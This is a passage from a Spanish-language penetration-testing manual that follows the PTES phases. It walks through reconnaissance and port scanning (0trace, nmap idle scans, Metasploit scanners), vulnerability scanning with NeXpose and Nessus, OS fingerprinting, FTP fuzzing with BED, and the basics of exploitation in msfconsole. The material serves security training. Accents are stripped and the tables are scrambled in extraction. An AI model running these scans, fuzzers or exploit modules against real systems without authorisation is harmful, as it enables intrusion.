Es una herramienta que puede ser usada de forma pasiva para rastrear la ruta entre el pentester y el dispositivo objetivo. Usa protocolos comunes como HTTP o SNMP para
alcanzar el firewall, y utiliza paquetes basados en TTL (Time To Live). Para usar esta
herramienta se escribe el siguiente comando sobre el Shell:
# /usr/local/sbin/0trace.sh eth0 ww.xx.yy.zz

Luego se muestra el siguiente resultado


0trace v0.01 PoC by <lcamtuf@coredump.cx>
[+] Waiting for traffic from target on eth0...
# nc ww.xx.yy.zz 80
GET / HTTP/1.0
[+] Traffic acquired, waiting for a gap...
[+] Target acquired: 192.168.1.107:47508 -> ww.xx.yy.zz:80
(1288590921/1421483500).
[+] Setting up a sniffer...
[+] Sending probes...
TRACE RESULTS
------------1 192.168.1.1
2 10.1.248.1
3 wa.xx.yy.zz
4 wb.xx.yy.zz
5 wc.xx.yy.zz
6 wd.xx.yy.zz

59

7 ww.xx.yy.zz
Target reached

Itrace
Esta es una herramienta capaz de realizar la tarea de traceroute, pero realizando solicitudes
de eco ICMP (Internet Control Message Protocol). Si un firewall bloquea un traceroute,
pero permite una solicitud de eco ICMP, entonces se puede itrace para trazar la ruta detrs
de un firewall. Con el siguiente comando se activa la funcionalidad de esta herramienta
root@bt:/pentest/enumeration/irpas#
# itrace -i<device> -d<targethost>

./itrace: invalid option -- 'h'


Usage: ./itrace [-vn] [-pX] [-mX] [-tX] -i<dev> -d<destination>
-v
verbose
-n
reverse lookup IPs
-pX
send X probes (default=3)
-mX
maximum TTL (default=30)
-tX
timeout X sec (default=3)
-i<dev>
use this device
-d<des>
trace to this destination

Donde device es la tarjeta de red targethost es la tarjeta del host de destino

Recoleccin de Informacin de Forma Activa


Si recolectamos la informacin necesaria para realizar el pen-testing de forma activa,
interactuaremos directamente con el sistema en evaluacin. En este modo de recoleccin de
informacin podemos: escanear los puertos para determinar cuales estn abiertos o
identificar cuales servicios estn corriendo en el servidor objetivo.

60

NMap
Habiendo identificado el rango de direcciones IP de la red donde est ubicado el equipo
objetivo mediante el mtodo pasivo de recoleccin de informacin, comenzamos
escaneando los puertos en busca de aquellos que estn abiertos. Este es un proceso en
donde meticulosamente conectamos con los puertos de la maquina remota, con el fin de
identificar cul de ellos estn activos y escuchando. La herramienta que mas uso tiene para
este cometido es NMap. Para realizar un escaneo exitoso, esta herramienta se basa en un
conjunto de banderas o flags, las cuales hacen que su desempeo sea verstil para
nuestros requerimientos en la bsqueda de informacin til.

La mayora de las banderas preferidas en NMap son sS. Esta permite correr un escaneo
TCP en modo furtivo (stealth) que determina si un puerto basado en TCP est abierto. Otra
opcin muy til es la Pn, la cual le dice a NMap que no use un ping16 para determinar si
un sistema determinado est corriendo, sino que considere a todos los computadores vivos
(alive, en funcionamiento). Para desarrollar una prueba de penetracin por medio del
internet se recomienda usar estas banderas, debido a que la mayora de las redes no
permiten ICMP para realizar un escaneo activo sobre la red, puesto que este protocolo usa
ping.

El siguiente ejemplo muestra el uso de esta herramienta, con la cual realizamos un escaneo
rpido (quick scan) en BackTrack Linux 5, usando las banderas antes descritas:

16

Utilidad diagnstica en redes de computadoras que comprueba el estado de la conexin del host local con uno o varios equipos
remotos de una red TCP/IP por medio del envo de paquetes ICMP de solicitud y de respuesta

61

root@bt:~# nmap -sS -Pn 172.16.32.131


Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).
Not shown: 990 closed ports
PORT
STATE
SERVICE
21/tcp
open
ftp
25/tcp
open
smtp
80/tcp
open
http
135/tcp
open
msrpc
139/tcp
open
netbios-ssn
443/tcp
open
https
445/tcp
open
microsoft-ds
1025/tcp open
NFS-or-IIS
1433/tcp open
ms-sql-s
3389/tcp open
ms-term-serv
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

Como se puede ver en el anlisis, NMap reporta una lista de los puertos abiertos, junto con
una descripcin del servicio asociado al puerto. Para obtener un mayor detalle, se puede
usar la bandera A. esta opcin intentar realizar una numeracin avanzada de los servicios
y la captura de banner, la cual le puede dar aun mayor detalle del sistema objetivo.
Por ejemplo:
root@bt:~# nmap -Pn -sS -A 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.0035s latency).
Not shown: 993 closed ports
PORT
STATE
SERVICE
VERSION
135/tcp
open
msrpc
Microsoft Windows RPC
139/tcp
open
netbios-ssn
445/tcp
open
microsoft-ds
Microsoft Windows XP microsoft-ds
777/tcp
open
unknown
1039/tcp
open
unknown
1138/tcp
open
msrpc
Microsoft Windows RPC
1433/tcp
open
ms-sql-s
Microsoft SQL Server 2005 9.00.1399; RTM
. . . SNIP . . .
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

62

Network Distance: 1 hop


Service Info: OS: Windows
Host script results:
|_nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:c9:38:4c (VMware)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP

Escaneo avanzado con NMAP: TCP Idle Scan


Este es un mtodo de escaneo ms avanzado, el cual permite escanear un objetivo
sigilosamente por medio del spoofing o suplantacin de la direccin IP (hacindose pasar
por otro computador o host que hace parte de la red atacada). Para trabajar con este tipo de
exploracin, primero tenemos que localizar a un host que est inactivo en la red y que
utilice identificadores incrementales de IP (IP ID, los cuales son utilizados para realizar un
seguimiento en el orden de los paquetes). Cuando se descubre un sistema inactivo que
utiliza identificaciones incrementales IP, debemos tener en cuenta que por su naturaleza
incremental, tienen un comportamiento predecible. Por lo tanto, podemos predecir el
siguiente identificador. Sin embargo, cuando hacemos spoofing sobre la direccin del host
inactivo, al escuchar las respuestas de este mientras se realiza el escaneo, si observamos un
una ruptura en la prediccin de la secuencia de identificacin de IP significa que hemos
descubierto un puerto abierto. (Para obtener ms informacin acerca de este mdulo y las
secuencias de identificacin IP, visite http://www.metasploit.com/modules/auxiliary/
escner/ip/ipidseq/)

63

El uso del modulo scanner/ip/ipidseq de Metasploit Framework para buscar un host que
se ajuste a los requerimientos de un TCP idle scan, se muestra a continuacin:
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:
Name
Current Setting
Required
------------------------GWHOST
no
INTERFACE
no
LHOST
no
RHOSTS
yes
RPORT
80
yes
SNAPLEN
65535
yes
THREADS
1
yes
TIMEOUT
500
yes

Description
----------The gateway IP address
The name of the interface
The local IP address
The target address range or CIDR identifier
The target port
The number of bytes to capture
The number of concurrent threads
The reply read timeout in milliseconds

Esta lista muestra las opciones requeridas por el escaneo ipidseq. Se puede resaltar a la
opcin RHOSTS la cual puede tomar rangos IP (tales como 192.168.1.20-192.168.1.30);
tambin rangos CIDR (Classless Inter-Domain Routing) (tales como 192.168.1.0/24);
tambin mltiples rangos separados por comas (tales como 192.168.1.0/24,192.168.3.0/24);
y archivos de texto con un host por lnea (tal como file:/tmp/hostlist.txt). Todas estas
opciones dadas nos dan una ciertas flexibilidades para un objetivo especfico.

El valor THREADS configura el nmero de amenazas concurrentes para usar mientras se


realiza la exploracin. Por defectos posee el valor de 1.

64

Por ejemplo: usamos a RHOSTS a 192.168.1.0/24 y colocamos a THREADS a 50 y


corremos el escaneo con el comando run
msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >

Observamos un nmero potencial de hosts inactivos, los cuales podemos usar para realizar
un TCP idle scan, ahora escaneamos el sistema usando la direccin IP 192.168.1.109, pero
usando la bandera sI para especificar el host inactivo, as pues tenemos:
msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT
STATE
SERVICE
135/tcp
open
msrpc
139/tcp
open
netbios-ssn
445/tcp
open
microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)

65

Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds


msf auxiliary(ipidseq) >

Ahora hemos descubierto un nmero de puertos abiertos en el host objetivo sin enviar un
paquete al sistema.

Exploracin de Puertos con Metasploit


Adems de la habilidad de realizar exploraciones de puertos con escner de terceros,
Metasploit posee varios exploradores de puertos que hacen parte de los mdulos auxiliares
que estn directamente integrados con la mayora de los aspectos del Framework.

Por ejemplo, supongamos que tenemos un sistema que detrs del firewall est usando NAT
(Network Address Translation). Dicho sistema usa direcciones IP privadas, las cuales no
pueden contactarse fcilmente desde el internet. Si se usa Metasploit para comprometer el
sistema que est detrs del NAT, se podra utilizar este sistema interno comprometido para
pasar el trfico interno (pivote) al sistema basado en direcciones IP privadas y que esta
internamente alojado, con el fin de penetrar en la red ms all del firewall.

Para ver la lista de las herramientas que Framework ofrece, ingrese el siguiente comando:
msf > search portscan

66

Vamos a realizar un simple escaneo de un solo host utilizando un escaneo de puerto SYN
que posee el Metasploit. En el siguiente listado, iniciamos la exploracin con el comando
use scanner/portscan/syn, establecemos RHOSTS a 192.168.1.155, configuramos
THREADS a 50, y luego ejecutamos el anlisis.
msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >

Del resultado podemos ver a los puertos 135, 139 y 445 abiertos, para la direccin IP
192.168.1.155.

FASE III:
El modelamiento de amenazas: En esta seccin se define un enfoque de modelado de
amenazas segn sea necesario para una correcta ejecucin de las pruebas de penetracin. La
norma no hace uso de un modelo especfico, sino que requiere que el modelo utilizado sea
consistente en trminos de su representacin de las amenazas, sus capacidades, sus
calificaciones por la organizacin que se est probando, y la posibilidad de aplicarlos varias
veces a las pruebas en un futuro para averiguar si se obtienen los mismos resultados.

67

La norma se centra en dos elementos fundamentales de modelado de amenazas


tradicionales los activos y el atacante (amenaza). Cada uno de ellos es, respectivamente,
desglosados en los activos del negocio y los procesos de negocio y las comunidades de las
amenazas y sus capacidades. Como mnimo, los cuatro elementos deben estar claramente
identificados y documentados en cada prueba de penetracin.

Al modelar la parte atacante, en la parte superior de la comunidad de la amenaza, y las


capacidades (que son sobre todo tcnicas). Otros aspectos de la modelizacin motivacin
tambin debe ser proporcionada.

Amenaza de alto nivel de modelado de procesos


1) Rena la documentacin pertinente
2) Identificar y clasificar los activos de primaria y secundaria
3) Identificar y clasificar las amenazas y las comunidades amenaza
4) Mapa de las comunidades amenaza contra los bienes primarios y secundarios
Las etapas que siguen esta fase son:

Anlisis de Negocios de Activos

Business Process Analysis

Agentes de amenaza / Anlisis de la Comunidad

Capacidad de anlisis de amenazas

68

Modelado de la motivacin

Encontrar noticias relevantes de otras organizaciones similares sean comprometidos

FASE IV:
Anlisis de Vulnerabilidades: Las pruebas de vulnerabilidad es el proceso de
descubrimiento de fallas en los sistemas y aplicaciones que pueden ser aprovechadas por un
atacante. Estos defectos pueden variar desde el host y errores de configuracin de servicios,
o el diseo de aplicaciones inseguras. Aunque el proceso utilizado para buscar defectos
vara, y depende en gran medida del componente en particular puesto a prueba, algunos
principios fundamentales se aplican en el proceso.

Al llevar a cabo anlisis de vulnerabilidad de cualquier tipo el pen-tester aplicar las


herramientas adecuadas con profundidad y un alcance amplio, para as lograr los resultados
deseados. Los valores de profundidad pueden incluir cosas tales como la ubicacin de una
herramienta de evaluacin, los requisitos de autenticacin, etc. Adems de la profundidad,
la amplitud tambin debe tenerse en cuenta cuando se realizan las pruebas de
vulnerabilidad. Los valores de amplitud puede incluir cosas tales como las redes de destino,
segmentos, los servidores, los inventarios de aplicacin, etc., en su elemento ms simple, la
prueba se puede encontrar todas las vulnerabilidades en un sistema host, mientras que en
otros casos puede que tenga que encontrar todos los vulnerabilidades en los servidores con
un inventario determinado o limitado. Adems la amplitud de las pruebas siempre debe ser
validada para asegurar que han cumplido con su mbito de aplicacin de pruebas
69

Los modos de realizar los anlisis de vulnerabilidades son:

Activo

Pasivo

De validacin

De investigacin

Bsqueda Bsica de Vulnerabilidades


Veamos como un escaneo trabaja en sus niveles ms bsicos. En el siguiente listado
usamos netcat para capturar un banner (grab banner) de la direccin objetivo
192.168.1.203. La captura de banner (Banner Grabbing) es el acto de conectarse a un
servicio de red remoto con el fin de leer la identificacin del servicio (banner) que este
retorna. Muchos servicios de red como los web, los de transferencia de archivos y los
servidores de correo devuelven su banner ya sea inmediatamente despus de conectar con
ellos o en respuesta a un comando especfico. En el siguiente ejemplo nos conectamos a un
servidor web por el puerto 80 TCP y realizamos una peticin GET HTTP que nos permite
ver la informacin de encabezado que devuelve el servidor remoto, en respuesta a nuestra
solicitud.
root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

70

La informacin devuelta nos dice que el sistema que se ejecuta en el puerto 80 es un


servidor web basado en Microsoft IIS 5.1. Armado con esta informacin, podemos utilizar
un escner de vulnerabilidades, para determinar si esta versin de IIS tiene las
vulnerabilidades asociadas a l, y si este servidor en particular ha sido parcheado.

Por supuesto, en la prctica, no es tan sencillo. La exploracin de Vulnerabilidad a menudo


contiene muchos falsos positivos (vulnerabilidad reportada donde no existe) y falsos
negativos (falla en los registros en donde existe una vulnerabilidad) debido a las diferencias
sutiles en el sistema y las configuraciones de aplicaciones. Adems, los creadores de los
escneres de vulnerabilidad tienen un incentivo para reportar resultados positivos. Los
escneres de vulnerabilidades son tan buenos como su base de datos de vulnerabilidades, y
que fcilmente pueden ser engaados por banners o configuraciones incompatibles.

Ejecutando NeXpose desde MSFconsole (consola de Metasploit msf >)


NeXpose es un escner de vulnerabilidades que se puede trabajar desde la consola de
comandos (msf >) o desde una interface grfica de usuario (GUI). Elegimos trabajar desde
la consola. Pero primero debemos eliminar cualquier base de datos existente con
db_destroy, crear una nueva base de datos en Metasploit con db_connect, a continuacin,
cargar el NeXpose plug-in con load nexpose como se muestra a continuacin:

71

msf > db_destroy postgres:toor@127.0.0.1/msf3


[*] Warning: You will need to enter the password at the prompts below
Password:
msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nexpose


[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

Antes de comenzar su primera exploracin con msfconsole, tendremos que conectar la


instalacin de NeXpose. Introduzca nexpose_connect-h para mostrar el uso requerido para
conectar, agregue su nombre de usuario, contrasea y direccin de la mquina, y acepte la
advertencia de certificado SSL mediante la adicin de ok hasta el final de la cadena de
conexin:
msf > nexpose_connect -h
[*] Usage:
[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -OR[*] nexpose_connect username password host port <ssl-confirm>
msf > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie...

A continuacin, introduzca nexpose_scan seguido de la direccin IP de destino para iniciar


una exploracin, como se muestra a continuacin. En este ejemplo, se est escaneando una
sola direccin IP, pero tambin puede pasarse un rango de hosts para explorar (192.168.1.1254) o una subred usando Classless Inter-Domain Routing (CIDR) (192.168.1.0/24).
msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
msf >

72

Una vez finalizada la exploracin con NeXpose, la base de datos que cre anteriormente
debe contener los resultados de la exploracin de vulnerabilidades. Para ver los resultados,
ingrese db_hosts, como se muestra a continuacin. (En este ejemplo, la salida ha sido
recortada por el filtrado de la columna de direccin.)
msf > db_hosts -c address
Hosts
=====
address
Svcs
Vulns
-------------192.168.1.195
8
7
msf >

Workspace
--------default

Como puede ver, NeXpose ha descubierto siete vulnerabilidades. Ejecute db_vulns para
mostrar las vulnerabilidades encontradas:
msf > db_vulns

Escaneando con Nessus


El escner de vulnerabilidades Nessus de Tenable Security (http://www.tenable. com /) es
uno de los escneres de vulnerabilidades ms utilizadas. El plug-in Nessus de Metasploit le
permite poner en marcha exploraciones a travs de la consola para extraer informacin de
estas.

Despus de haber descargado e instalado Nessus, abra su navegador web y vaya a


https://<youripaddress>: 8834, acepte la advertencia de certificado, e iniciar sesin
en Nessus utilizando las credenciales que ha creado durante el proceso de instalacin.
73

Posteriormente debe proporcionarle al programa el cdigo de activacin que se le


suministra mediante correo electrnico al momento de descargar el programa de la pgina
web del autor. Luego usted debera ver la ventana principal de Nessus, como se muestra en
la Figura 1.

Figura 1. Ventana Principal de Nessus


El inicio de sesin, podrs ver la seccin de Reportes, donde los anlisis de vulnerabilidad
anteriores deben ser mencionados. A lo largo de la parte superior de la interfaz, usted debe
ver la ficha Anlisis, donde se puede crear y ver las tareas de escaneo, la ficha Polticas,
donde se configuran Nessus para incluir diversos plug-ins que desea utilizar en sus
exploraciones, y en la pestaa Usuarios, donde usted puede agregar cuentas de usuario en el
servidor de Nessus.

Antes de comenzar un anlisis, primero tiene que crear una poltica de exploracin. En la
ficha Polticas, haga clic en el botn verde Agregar para abrir la ventana de configuracin
de la poltica como se muestra en la figura 2.

74

Figura 2. Ventana de configuracin de polticas


Aqu ver muchas opciones disponibles, todas las cuales se pueden encontrar en la
documentacin de Nessus.

i.

Escriba un nombre para la exploracin, como se muestra en la Figura 3. Vamos a


utilizar el nombre de The_Works en nuestro ejemplo para que Nessus ejecute todos
sus chequeos. haga clic en Siguiente.

ii.

Vamos a configurar a Nessus para que realice las exploraciones a utilizando las
credenciales de Windows de inicio de sesin para obtener una imagen ms completa
de las vulnerabilidades presentes en el sistema evaluado. Escriba las credenciales de
inicio de sesin para el sistema objetivo y haga clic en Siguiente.

75

Figura 3. Configuracin general.

iii.

En la pgina de plug-ins, se puede elegir entre una gran variedad de plug-ins de


Nessus para Windows, Linux, BSD, y mucho ms. Si, durante un anlisis, usted
sabe que se va a analizar slo los sistemas basados en Windows, por ejemplo, se
puede anular la seleccin de muchos de estos plug-ins para su primer recorrido, por
ahora, haga clic en Activar todo (se muestra en la esquina inferior derecha de la
figura 4) y luego haga clic en Siguiente.

76

Figura 4. Seleccionando los plug-ins para el escaneo

iv.

El ltimo paso en la creacin de la nueva poltica es la pgina de preferencias. Aqu


usted puede configurar a Nessus para que no analice los dispositivos frgiles, tales
como las impresoras de red, para que almacenar los resultados en una base de datos
externa, para que proporcione las credenciales de inicio de sesin, y mucho
ms. Cuando haya terminado con sus selecciones, haga clic en Enviar para
guardar la nueva poltica. La nueva poltica que acaba de agregar, se debe
mostrar en la lista de polticas, como se muestra en la Figura 5.

Figura 5. Las nuevas polticas aadidas a Nessus

77

Despus de haber creado las polticas de exploracin, Nessus est listo para realizar
un anlisis. Comience por seleccionar la ficha Anlisis, y luego haga clic en el
botn Agregar para abrir la ventana de configuracin de escaneo. La mayor parte
de configuracin de Nessus se encuentra en sus polticas de anlisis, as que cuando
usted est configurando una exploracin, escriba un nombre para el anlisis, elegir
una poltica, e ingrese los objetivos para anlisis, como se muestra en la Figura 6.

Figura 6. Configurando un escaneo en Nessus

En nuestro ejemplo, exploraremos a un solo host, pero tenga en cuenta que tambin se
pueden ingresa rangos de direcciones IP en notacin CIDR o incluso cargar un archivo que
contiene las direcciones de los objetivos que desea analizar. Cuando est satisfecho con la
configuracin de escaneo, haga clic en Iniciar exploracin.

78

Despus de que se complete la exploracin, se debe encontrar una nueva entrada en la


pestaa Informes, indicando el nombre de la exploracin, el estado, y cuando se actualiz
por ltima vez. Seleccione el informe y haga clic en Examinar para abrir una pgina de
resumen del anlisis que muestra los niveles de gravedad de las vulnerabilidades
encontradas, como se muestra en la Figura 7.

Figura 7. Resumen del reporte del escaneo y puertos encontrados

OS Fingerprinting (Huella digital de los sistemas operativos)


Despus saber que el equipo de destino est activo, podemos recopilar informacin del
sistema operativo utilizado por el equipo objetivo. Este mtodo se conoce comnmente
como huella digital del Sistema Operativo (OS Fingerprint). Hay dos mtodos para hacer
OS fingerprinting: activa y pasiva.

79

En el mtodo activo, la herramienta enva paquetes de red a la mquina de destino y, a


continuacin determina el sistema operativo del equipo de destino basado en el anlisis
realizado de la respuesta que recibi. La ventaja de este mtodo es que el proceso es
rpido. Sin embargo, la desventaja es que el equipo de destino puede notar nuestra
presencia al tratar de obtener la informacin del sistema operativo.

Existe un mtodo pasivo para hallar las huellas digitales (fingerprints) de un sistema
operativo. Este mtodo fue iniciado por Michal Zalewsky cuando lanz una herramienta
llamada p0f. La desventaja del mtodo pasivo es que el proceso va a ser ms lento en
comparacin con el mtodo activo.

Herramienta p0f
La herramienta p0f es utilizada para obtener la huella digital de un sistema operativo de
forma pasiva. Se puede identificar un sistema operativo en:

Las mquinas que se conectan a la caja (modo SYN, este es el modo por
defecto)

Las mquinas que se conectan a (modo SYN + ACK)

La mquina no se puede conectar a (modo RST +)

Las mquinas cuyas comunicaciones se puede observar

Funciona mediante el anlisis de los paquetes TCP enviados durante las actividades que
realiza red, tales como conexiones entrantes y conexiones de salientes. Este proceso es
completamente pasivo, por lo que no generar ningn trfico de red.

80

Para acceder a p0f, vamos al men de Backtrack | Mapeo de la Red | OS-Fingerprints


dactilares | P0f o puede abrir una consola y escribir p0f -h. lo que mostrar las ayudas
y la descripcin de las opciones. Tomando la segunda opcin tenemos:
#p0f -o p0f.log

Esto guardar la informacin de registro en el archivo p0f.log. A continuacin, se mostrar


la siguiente informacin:
p0f - passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>
p0f: listening (SYN) on 'eth0', 262 sigs (14 generic, cksum 0F1F5CA2),
rule: 'all'.

Observamos que p0f est escuchando por la NIC eth0 en modo SYN.
Luego necesita generar actividades de red relacionadas con conexiones TCP, como por
ejemplo navegar en la mquina remota o dejar que la mquina remota se conecte a su
mquina.

Si p0f ha capturado con xito las huellas digitales del sistema operativo de la mquina
remota, podr observar cual es el sistema operativo de la mquina remota en el archivo de
registro (p0f.log). Usted puede abrir este archivo de registros usando el editor de texto
kate

81

Figura 8. Log mostrado en el editor de texto kate


Con base en el resultado anterior, sabemos que la mquina remota es una mquina Linux
2.6. Esta es la huella correcta, ya que el equipo remoto se instala con openSUSE 11.x.
Usted puede salir de p0f pulsando la combinacin Ctrl + C.

Anlisis Fuzzy
El anlisis Fuzzy es un software especialmente de pruebas utilizado por los auditores y por
los desarrolladores para probar sus aplicaciones contra un conjunto de datos de entrada
inesperados, no vlidos y aleatorios.
La reaccin de las aplicaciones se ver en trminos de excepciones o colisiones. Esta
actividad revela algunas de las principales vulnerabilidades en el software, que de otro
modo no son posibles de descubrir. Estos incluyen desbordamientos de bfer, cadenas de
formato, las inyecciones de cdigo, los punteros colgantes, las condiciones de prueba,
condiciones de denegacin de servicio, y muchos otros tipos de vulnerabilidades. Hay
diferentes clases de fuzzers disponibles en BackTrack 5 que se pueden utilizar para poner a
prueba los formatos de archivo, protocolos red, entradas de lnea de comandos, variables
de entorno y aplicaciones web. Cualquier fuente de datos de entrada no confiables se le

82

considera inseguro e inconsistente. Por ejemplo, un lmite de confianza entre la aplicacin y


el usuario de Internet es impredecible. Por lo tanto, todas las entradas de datos deben ser
revisados con fuzzy para as verificar las vulnerabilidades conocidas y desconocidas. El
anlisis Fuzzy es una solucin relativamente simple y eficaz que se puede incorporar en un
proceso de pruebas de seguridad y garanta de calidad. Por esta razn, tambin se conoce a
veces como prueba de robustez o pruebas negativas.

BED (Bruteforce Exploit Detector)


El Detector de Vulnerabilidades de fuerza bruta (BED) es una potente herramienta diseada
para el fuzzing en los protocolos texto plano, para contrarestar posibles desbordamientos de
bfer, errores de formato de cadena, desbordamientos de datos enteros, condiciones DoS, y
as sucesivamente. Automticamente comprueba la implementacin de un protocolo
elegido mediante el envo de una combinacin diferente de comandos con cadenas
problemticas para confundir al objetivo. Los protocolos soportados por esta herramienta
son FTP, SMTP, POP, HTTP, IRC, IMAP, PJL, LPD, FINGER, SOCKS4, y
SOCKS5.

Para usar BED escribimos en la lnea de comando lo siguiente:


# cd /pentest/fuzzers/bed/
# ./bed.pl

83

Las instrucciones de uso ahora aparecern en la pantalla. Es muy importante anotar que una
las descripciones de un plug-in especfico se pueden mostrar por el siguiente comando:
# ./bed.pl s FTP

Con el ejemplo anterior, podemos aprender a usar los parmetros requeridos por un plugin, en este caso el del FTP, antes de la ejecucin de una prueba. Estos incluyen el nombre
de usuario FTP u username y

contrasea v password. A continuacin realizamos a

modo de ejemplo un ataque a un servidor FTP:


# ./bed.pl -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3

El resultado sera:
BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de)
+ Buffer overflow testing:
testing: 1
USER XAXAX ...........
testing: 2
USER ftpuserPASS XAXAX ...........
+ Formatstring testing:
testing: 1
USER XAXAX .......
testing: 2
USER ftpuserPASS XAXAX .......
* Normal tests
+ Buffer overflow testing:
testing: 1
ACCT XAXAX ...........
testing: 2
APPE XAXAX ...........
testing: 3
ALLO XAXAX ...........
testing: 4
CWD XAXAX ...........
testing: 5
CEL XAXAX ...........
testing: 6
DELE XAXAX ...........
testing: 7
HELP XAXAX ...........
testing: 8
MDTM XAXAX ...........
testing: 9
MLST XAXAX ...........
testing: 10
MODE XAXAX ...........
testing: 11
MKD XAXAX ...........
testing: 12
MKD XAXAXCWD XAXAX ...........
testing: 13
MKD XAXAXDELE XAXAX ...........
testing: 14
MKD XAXAXRMD XAXAX .....
connection attempt failed: No route to host

84

Por el reporte podemos anticipar que el demonio FTP remoto se ha interrumpido durante la
prueba 14. Esto podra ser una clara indicacin de error de desbordamiento de buffer, sin
embargo, el problema mayor puede ser investigado observando el plug-in o complemento
especfico y localizando el patrn del caso en prueba (por ejemplo, pentest/fuzzers/bed/
bedmod/ ftp.pm). Siempre es una buena idea para poner a prueba su objetivo al menos dos
o ms veces restendolo a su estado normal, aumentando el valor de tiempo de espera (-o) y
comprobar si el problema es reproducible.

FASE V:
Explotacin de las vulnerabilidades: La fase de explotacin de una prueba de penetracin
se centra exclusivamente en el establecimiento de un sistema de acceso a los recursos o
saltarse las restricciones de seguridad. Si la fase previa, anlisis de vulnerabilidad se ha
realizado correctamente, esta fase debe estar bien planificada y el ataque debe ser
preciso. El objetivo principal es identificar el punto de entrada principal en la organizacin
y para identificar los activos de alto valor objetivo.
Esta fase tiene como objeto realizar:

Contramedidas

Evasin

Simulacin de un ataque con precisin

Camino de explotacin Personalizado de una vulnerabilidad

Explotacion de una vulnerabilidad a la medida


85

ngulo de da cero

Conceptos bsicos de explotacin de vulnerabilidades


El Metasploit Framework contiene cientos de mdulos, y es casi imposible recordarlos
todos. Si ejecutamos el comando show desde el msfconsole mostrar todos los mdulos
disponibles en el Framework, pero tambin se puede limitar la bsqueda para mostrar slo
determinados tipos de mdulos como se explica a continuacin.

msf> show Exploits


Dentro de msfconsole, los exploits atacan las vulnerabilidades que se han descubierto
durante una prueba de penetracin. Las nuevas vulnerabilidades siempre se estn
desarrollando, y la lista seguir creciendo. Este comando mostrar todos los Exploits
disponible actualmente en el Framework.

msf> show auxiliares


Los Mdulos auxiliares en Metasploit puede ser utilizado para una amplia variedad de
propsitos. Pueden funcionar como escneres, mdulos de denegacin de servicio (DoS),
fuzzers, y mucho ms. Este comando va a mostrar y enumerar sus caractersticas.

86

msf> show options


Aqu se muestran las Opciones de control de varios parmetros necesarios para el correcto
funcionamiento de los mdulos del Framework. Cuando se ejecuta el comando show
options mientras se selecciona un mdulo, Metasploit slo mostrar las opciones que se
aplican a ese mdulo en particular. Introduccin de msf> show options cuando no est
ejecutado un mdulo, mostrar las opciones disponibles, por ejemplo, se pueden configurar
los LogLevel para hacer ms detallado el desarrollo del ataque. Tambin puede ejecutar el
comando back para regresar al smbolo de la consola msf>. Por ejemplo:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > back
msf >

El comando search es til para encontrar un ataque especfico, un mdulo de auxiliar, o un


payload. Por ejemplo, si quieres lanzar un ataque contra el SQL Server, puede realizar una
bsqueda para SQL como esta:
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
Auxiliary
=========
Name
Disclosure Date
Rank
-----------------------admin/mssql/mssql_enum
normal
admin/mssql/mssql_exec

normal

admin/mssql/mssql_idf

normal

admin/mssql/mssql_sql
scanner/mssql/mssql_login
scanner/mssql/mssql_ping
Exploits

normal
normal
normal

87

Description
------------Microsoft SQL Server Configuration
Enumerator
Microsoft SQL Server xp_cmdshell
Command Execution
Microsoft SQL Server - Interesting
Data Finder
Microsoft SQL Server Generic Query
MSSQL Login Utility
MSSQL Ping Utility

. . . SNIP . . .
msf >

